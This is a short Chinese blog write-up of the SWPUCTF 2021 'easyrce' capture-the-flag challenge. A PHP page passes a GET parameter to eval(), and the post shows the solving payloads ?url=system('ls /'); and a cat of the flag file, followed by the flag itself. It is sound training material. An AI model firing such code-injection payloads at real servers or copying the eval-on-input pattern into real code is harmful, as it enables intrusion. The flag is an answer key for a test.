[SWPUCTF 2021 新生赛]easyrce

piter 发布于 4 天前 22 次阅读 148 字


[SWPUCTF 2021 新生赛]easyrce

题目:NSSCTF 424

题面

打开环境直接高亮源码:

<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['url']))
{
eval($_GET['url']);
}
?>

关键就一行:eval($_GET['url']);
eval 会把字符串当成 PHP 代码执行,所以 URL 里 url= 后面写什么,服务器就当 PHP 跑什么。比上一题的过滤注入简单多了。

思路

  1. 用 system / passthru 等执行系统命令,先列目录找 flag
  2. 再 cat 读出来

过程

先列根目录:

?url=system('ls /');

看到可疑文件:flllllaaaaaaggggggg。

读文件:

?url=system('cat /flllllaaaaaaggggggg');

Flag

NSSCTF{79e96ed9-4f1a-494d-8268-f9aa48d005d9}

  • reward_image1
永远不要因为需要大量时间才能完成,就放弃梦想,时间怎么样都会过去的
最后更新于 2026-10-18